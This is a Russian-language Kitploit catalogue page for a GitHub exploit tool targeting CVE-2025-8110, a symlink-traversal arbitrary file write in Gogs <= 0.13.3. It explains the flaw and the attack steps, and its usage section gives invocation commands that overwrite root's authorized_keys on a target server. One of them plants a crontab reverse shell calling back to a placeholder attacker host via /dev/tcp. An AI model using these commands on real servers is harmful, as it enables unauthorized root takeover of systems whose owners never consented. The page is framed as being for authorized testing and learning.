Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-8110 — CVE-2025-8110 — Gogs <= 0.13.3 Произвольная запись файла через обход символьных ссылок в API PutContents | Kitploit
Инструменты/GitHubGitHub/3jee/cve-2025-8110
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHub3jee/cve-2025-8110

CVE-2025-8110

CVE-2025-8110 — Gogs <= 0.13.3 Произвольная запись файла через обход символьных ссылок в API PutContents

Репозиторий
24 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-8110 — Gogs <= 0.13.3 Произвольная запись файлов через обход символьных ссылок

Обзор

Gogs <= 0.13.3 уязвим для произвольной записи файлов через API PutContents (/api/v1/repos/:owner/:repo/contents/:path).

API проверяет пути на последовательности обхода каталогов (../), но не разрешает символические ссылки перед записью. Аутентифицированный пользователь может отправить коммит, содержащий символьную ссылку, указывающую на любой файл на сервере, а затем вызвать PutContents для этой символьной ссылки, чтобы перезаписать целевой файл содержимым, контролируемым атакующим.

Когда Gogs запускается от имени root (по умолчанию в Docker и во многих развертываниях), это приводит к полной компрометации системы.

ПодробностьЗначение
CVECVE-2025-8110
Затронутые версииGogs <= 0.13.3
ТипАутентифицированная произвольная запись файла → RCE
CVSS8.8 (Высокий)
КомпонентPutContents API

Требования

  • Python 3.10+
  • requests (pip install requests)
  • git CLI
  • Учетная запись Gogs (или открытая саморегистрация на целевой системе)

Использование

root@kitploit:~
# Саморегистрация одноразовой учетной записи + запись SSH-ключа для root
python3 CVE-2025-8110.py --url http://target:3001 --register \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# С существующими учетными данными
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# Обратная оболочка через crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /etc/crontab \
    --content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# Очистка репозитория эксплойта после использования
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup

Как это работает

  1. Аутентификация — Войдите (или зарегистрируйтесь) и создайте токен API.
  2. Создание репозитория — Инициализируйте новый репозиторий с README через веб-интерфейс.
  3. Отправка символьной ссылки — Клонируйте репозиторий локально, создайте символьную ссылку, указывающую на целевой файл (например, /root/.ssh/authorized_keys), сделайте коммит и отправьте.
  4. Запись через символьную ссылку — Вызовите API PutContents для имени файла символьной ссылки. Gogs разрешает символьную ссылку на диске и записывает содержимое атакующего в реальный файл от имени процесса Gogs (часто root).

Параметры

root@kitploit:~
--url             Базовый URL Gogs (например, http://target:3001)
-u, --user        Имя пользователя Gogs
-p, --password    Пароль Gogs
--register        Саморегистрация одноразовой учетной записи (без капчи)
--target-file     Абсолютный путь для перезаписи на сервере
--content         Строковое содержимое для записи
--content-file    Локальный файл, содержимое которого будет записано
--repo            Имя создаваемого репозитория (по умолчанию: случайное)
--link-name       Имя файла символьной ссылки в репозитории (по умолчанию: payload)
--cleanup         Удалить репозиторий эксплойта после записи

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Используйте ответственно.

Скачать инструмент